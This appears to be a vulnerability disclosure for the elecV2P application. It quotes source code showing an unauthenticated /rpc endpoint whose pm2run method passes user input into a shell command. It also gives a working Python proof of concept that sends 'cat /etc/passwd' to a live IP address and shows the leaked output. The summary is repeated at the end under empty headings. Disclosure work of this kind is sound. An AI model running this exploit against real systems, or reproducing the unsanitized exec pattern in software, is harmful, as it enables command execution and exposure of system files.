Summary
The /rpc endpoint requires no authentication. The pm2run method concatenates params[0] directly into exec('pm2 start ' + params[0]) without sanitization, enabling OS command injection. Confirmed by reading /etc/passwd from the response.
Details
// source-code/elecV2P-master/webser/wbrpc.js#L25C1-L220C2
25→function eRPC(req, res) {
26→ let {
27→ method,
28→ params
29→ } = req.body
30→ clog.info(req.headers['x-forwarded-for'] || req.connection.remoteAddress, 'run method', method, 'with', params && params[0])
31→ // method: string, params: array
32→ switch (method) {
33→ case 'pm2run':
34→ let undone = true
35→ exec('pm2 start ' + params[0] + ' --attach --no-autorestart', {
36→ timeout: 5000,
37→ call: true,
38→ from: 'rpc',
39→ ...params[1],
40→ cb(data, error, finish) {
41→ if (undone && finish) {
42→ res.json({
43→ rescode: 0,
44→ message: data
45→ })
46→ } else if (error) {
47→ clog.error(error)
48→ res.json({
49→ rescode: -1,
50→ message: error
51→ })
52→ undone = false
53→ } else {
54→ clog.debug(data)
55→ }
56→ }
57→ })
58→ break
59→ case 'copy':
60→ case 'move':
61→ if (sType(params[0]) === 'array') {
62→ let message = `${method} operation completed`
63→ params[0].forEach(fn => {
64→ file[method](params[1] + '/' + fn, params[2] + '/' + fn, (err) => {
65→ if (err) {
66→ clog.error(method, fn, 'fail', err)
67→ message += `\nfail to ${method} ${fn}`
68→ }
69→ })
70→ })
71→
72→ res.json({
73→ rescode: 0,
74→ message
75→ })
76→ } else {
77→ res.json({
78→ rescode: -1,
79→ message: 'a array parameter is expect'
80→ })
81→ clog.error(method, 'file error: a array parameter is expect')
82→ }
83→ break
84→ case 'rename':
85→ file.rename(params[0], params[1], (err) => {
86→ if (err) {
87→ res.json({
88→ rescode: -1,
89→ message: err.message
90→ })
91→ clog.error(err)
92→ } else {
93→ res.json({
94→ rescode: 0,
95→ message: 'success rename file'
96→ })
97→ }
98→ })
99→ break
100→ case 'save':
101→ let fcont = params[1]
102→ if (params[2] === 'hex' && sType(params[1]) === 'array') {
103→ clog.info('save mode is', params[2], 'Buffer.from content')
104→ fcont = Buffer.from(params[1])
105→ }
106→ file.save(params[0], fcont, (err) => {
107→ if (err) {
108→ clog.error(err)
109→ res.json({
110→ rescode: -1,
111→ message: err.message
112→ })
113→ } else {
114→ res.json({
115→ rescode: 0,
116→ message: 'success save file to ' + params[0]
117→ })
118→ }
119→ })
120→ break
121→ case 'mkdir':
122→ file.mkdir(params[0], (err) => {
123→ if (err) {
124→ clog.error(err)
125→ res.json({
126→ rescode: -1,
127→ message: err.message
128→ })
129→ } else {
130→ res.json({
131→ rescode: 0,
132→ message: 'success make dir ' + params[0]
133→ })
134→ }
135→ })
136→ break
137→ case 'zip':
138→ if (file.zip(params[0], params[1])) {
139→ res.json({
140→ rescode: 0,
141→ message: 'success make zip file ' + params[1]
142→ })
143→ } else {
144→ res.json({
145→ rescode: -1,
146→ message: 'fail to make zip file ' + params[1]
147→ })
148→ }
149→ break
150→ case 'unzip':
151→ let unzipres = file.unzip(params[0], params[1], {
152→ filelist: true
153→ })
154→ if (unzipres) {
155→ res.json({
156→ rescode: 0,
157→ message: 'success unzip ' + params[0],
158→ reslist: unzipres
159→ })
160→ } else {
161→ res.json({
162→ rescode: -1,
163→ message: 'fail to unzip ' + params[0]
164→ })
165→ }
166→ break
167→ case 'download':
168→ let name = params[2] || surlName(params[0]);
169→ let key = sHash(params[0] + params[1] + name);
170→ if (statusRPC.download.has(key)) {
171→ return res.json({
172→ rescode: 1,
173→ message: `${name} already in download list, try different folder or name`,
174→ resdata: name
175→ });
176→ }
177→ let downloaditem = {
178→ url: params[0],
179→ name: name,
180→ folder: params[1],
181→ status: 'downloading'
182→ }
183→ statusRPC.download.set(key, downloaditem);
184→ const mid = 'progress' + statusRPC.download.size;
185→ downloadfile(params[0], {
186→ folder: params[1],
187→ name: name
188→ }, (options) => {
189→ if (options.progress) {
190→ sseSer.Send('efss', {
191→ type: 'message',
192→ data: {
193→ progress: options.progress,
194→ mid,
195→ }
196→ });
197→ }
198→ }).then(dest => {
199→ res.json({
200→ rescode: 0,
201→ message: 'file download to: ' + dest,
202→ resdata: dest
203→ });
204→ downloaditem.status = 'finished';
205→ }).catch(e => {
206→ res.json({
207→ rescode: -1,
208→ message: `${params[1] || ''} ${errStack(e)}`
209→ });
210→ downloaditem.status = 'aborted';
211→ })
212→ break
213→ default:
214→ clog.info('RPC method', method, 'not found')
215→ res.status(501).json({
216→ rescode: 501,
217→ message: `method ${method || ''} not found`
218→ })
219→ }
220→}
// source-code/elecV2P-master/func/exec.js#L270C1-L371C2
270→async function execFunc(command, options = {}, cb = null) {
271→ let execlog = clog
272→ if (sType(options.logname) === 'string') {
273→ execlog = new logger({
274→ head: options.logname.replace(/\.task$/, ''),
275→ level: 'debug',
276→ file: options.logname,
277→ cb: options.from === 'task' ? wsSer.send.func('tasklog') : null
278→ })
279→ }
280→
281→ cb = cb || options.cb
282→ delete options.cb
283→ let callback = () => {}
284→ if (cb && sType(cb) === 'function') {
285→ callback = cb
286→ }
287→ let fev = await commandSetup(command, options, execlog).catch(e => {
288→ let err = errStack(e)
289→ execlog.error(err)
290→ callback(null, err)
291→ })
292→ let childexec = exec(fev.command, fev.options)
293→ if (!options.id) {
294→ options.id = `${options.from || 'exec'}_${Date.now()}`
295→ }
296→ subprocess.set(options.id, {
297→ command: fev.command,
298→ childexec
299→ })
300→ wsSer.send({
301→ type: 'subprocessadd',
302→ data: {
303→ id: options.id,
304→ command: fev.command,
305→ }
306→ })
307→
308→ execlog.notify('start run command:', fev.command, 'cwd:', fev.options.cwd)
309→ callback('start run command: ' + fev.command + ' cwd: ' + fev.options.cwd + '\n')
310→ execlog.debug('start run command:', fev.command, 'with options:', {
311→ ...fev.options,
312→ env: '...process.env'
313→ })
314→
315→ let fdata = []
316→ childexec.stdout.on('data', data => {
317→ data = data.toString().trim()
318→ execlog.info(data)
319→ callback(data)
320→ if (options.call) {
321→ if (fdata.length > CONFIG_exec.maxfdata) {
322→ fdata.splice(0, fdata.length / 2)
323→ }
324→ fdata.push(data)
325→ }
326→ })
327→
328→ childexec.stderr.on('data', err => {
329→ err = err.toString().trim()
330→ execlog.error(err)
331→ callback(null, err)
332→ wsSer.send({
333→ type: 'minishell',
334→ data: err
335→ })
336→ })
337→
338→ childexec.on('exit', (code, signal) => {
339→ let fstr = 'command: ' + command
340→ if (options.timeout && signal === 'SIGTERM') {
341→ fstr += ` may run timeout of ${options.timeout}ms`
342→ } else if (signal === 'SIGINT') {
343→ fstr += ' exited'
344→ } else {
345→ fstr += ' finished'
346→ }
347→ execlog.info(fstr)
348→ callback(options.call ? fdata.join('') : fstr, null, true)
349→ if (subprocess.has(options.id)) {
350→ subprocess.delete(options.id)
351→ wsSer.send({
352→ type: 'subprocessexit',
353→ data: options.id,
354→ })
355→ }
356→ })
357→
358→ if (options.stdin && options.stdin.write !== undefined) {
359→ if (options.stdin.delay === undefined) {
360→ options.stdin.delay = 2000
361→ }
362→
363→ let hint = 'input ' + options.stdin.write + ' after ' + options.stdin.delay + ' milliseconds'
364→ execlog.info(hint)
365→ callback(hint)
366→ setTimeout(() => {
367→ childexec.stdin.write(options.stdin.write)
368→ childexec.stdin.end()
369→ }, options.stdin.delay)
370→ }
371→}
POC
import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
"""
Match an API endpoint pattern with a given path.
This function supports multiple path parameter syntaxes used by different web frameworks:
- Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
- Angle brackets: '/users/<int:id>' (Flask with converters)
- Colon syntax: '/users/:id' (Express, Koa, Sinatra)
- Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)
Note: This function performs structural matching only and doesn't validate param types or regex constraints.
Args:
pattern (str): The endpoint pattern with parameter placeholders
path (str): The actual path to match
Returns:
bool: True if the path structurally matches the pattern, otherwise False
"""
pattern = pattern.strip() or '/'
path = path.strip() or '/'
if pattern == path:
return True
# Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
# Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
# Support for <param> and <type:param> syntax (Flask with converters)
pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
# Support for :param syntax (Express, Koa, Sinatra)
pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
# Add start and end anchors to ensure full match
pattern = f'^{pattern}$'
match = re.match(pattern, path)
if match:
return True
return False
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
if match_api_pattern('/rpc', urlparse(url).path):
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
else:
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
return super().request(
method=method,
url=url,
params=params,
data=data,
headers=headers,
cookies=cookies,
files=files,
auth=auth,
timeout=timeout,
allow_redirects=allow_redirects,
proxies=proxies,
hooks=hooks,
stream=stream,
verify=verify,
cert=cert,
json=json,
)
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
target_url = "http://34.127.19.15:42863/rpc"
# Prepare the payload to exploit the command injection vulnerability
malicious_payload = 'cat /etc/passwd'
# Construct the JSON body with the method and parameters
json_body = {
"method": "pm2run",
"params": [malicious_payload, {}]
}
response = requests.post(target_url, json=json_body, verify=False, timeout=30)
print("Status Code:", response.status_code)
print("Response Text:", response.text)
# ********************************** Poc End ***********************************
Status Code: 200
Response Text: {
"rescode": 0,
"message": "┌────┬────────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐\n│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │\n├────┼────────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤\n│ \u001b[1m\u001b[36m1\u001b[39m\u001b[22m │ cat │ default │ N/A │ \u001b[7m\u001b[1mfork\u001b[22m\u001b[27m │ 2741 │ 0s │ 2 │ \u001b[32m\u001b[1monline\u001b[22m\u001b[39m │ 0% │ 744.0kb │ \u001b[1mroot\u001b[22m │ \u001b[90mdisabled\u001b[39m │\n│ \u001b[1m\u001b[36m0\u001b[39m\u001b[22m │ elecV2P │ default │ 3.8.3 │ \u001b[7m\u001b[1mfork\u001b[22m\u001b[27m │ 2479 │ 49s │ 1 │ \u001b[32m\u001b[1monline\u001b[22m\u001b[39m │ 0% │ 94.1mb │ \u001b[1mroot\u001b[22m │ \u001b[90mdisabled\u001b[39m │\n│ \u001b[1m\u001b[36m3\u001b[39m\u001b[22m │ id │ default │ N/A │ \u001b[7m\u001b[1mfork\u001b[22m\u001b[27m │ 0 │ 0 │ 0 │ \u001b[31m\u001b[1mstopped\u001b[22m\u001b[39m │ 0% │ 0b │ \u001b[1mroot\u001b[22m │ \u001b[90mdisabled\u001b[39m │\n│ \u001b[1m\u001b[36m2\u001b[39m\u001b[22m │ passwd │ default │ N/A │ \u001b[7m\u001b[1mfork\u001b[22m\u001b[27m │ 2742 │ 0s │ 0 │ \u001b[32m\u001b[1monline\u001b[22m\u001b[39m │ 0% │ 8.7mb │ \u001b[1mroot\u001b[22m │ \u001b[90mdisabled\u001b[39m │\n└────┴────────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘\u001b[31m2|passwd | \u001b[39m/etc/passwd:1\n\u001b[31m2|passwd | \u001b[39mroot:x:0:0:root:/root:/bin/sh\n\u001b[31m2|passwd | \u001b[39m ^\n\u001b[31m2|passwd | \u001b[39mSyntaxError: Unexpected token ':'\n\u001b[31m2|passwd | \u001b[39m at wrapSafe (node:internal/modules/cjs/loader:1464:18)\n\u001b[31m2|passwd | \u001b[39m at Module._compile (node:internal/modules/cjs/loader:1495:20)\n\u001b[31m2|passwd | \u001b[39m at Module._extensions..js (node:internal/modules/cjs/loader:1623:10)\n\u001b[31m2|passwd | \u001b[39m at Module.load (node:internal/modules/cjs/loader:1266:32)\n\u001b[31m2|passwd | \u001b[39m at Module._load (node:internal/modules/cjs/loader:1091:12)\n\u001b[31m2|passwd | \u001b[39m at Object.<anonymous> (/usr/local/app/node_modules/pm2/lib/ProcessContainerFork.js:33:23)\n\u001b[31m2|passwd | \u001b[39m at Module._compile (node:internal/modules/cjs/loader:1521:14)\n\u001b[31m2|passwd | \u001b[39m at Module._extensions..js (node:internal/modules/cjs/loader:1623:10)\n\u001b[31m2|passwd | \u001b[39m at Module.load (node:internal/modules/cjs/loader:1266:32)\n\u001b[31m2|passwd | \u001b[39m at Module._load (node:internal/modules/cjs/loader:1091:12)"
}
Summary
The /rpc endpoint requires no authentication. The pm2run method concatenates params[0] directly into exec('pm2 start ' + params[0]) without sanitization, enabling OS command injection. Confirmed by reading /etc/passwd from the response.
Details
POC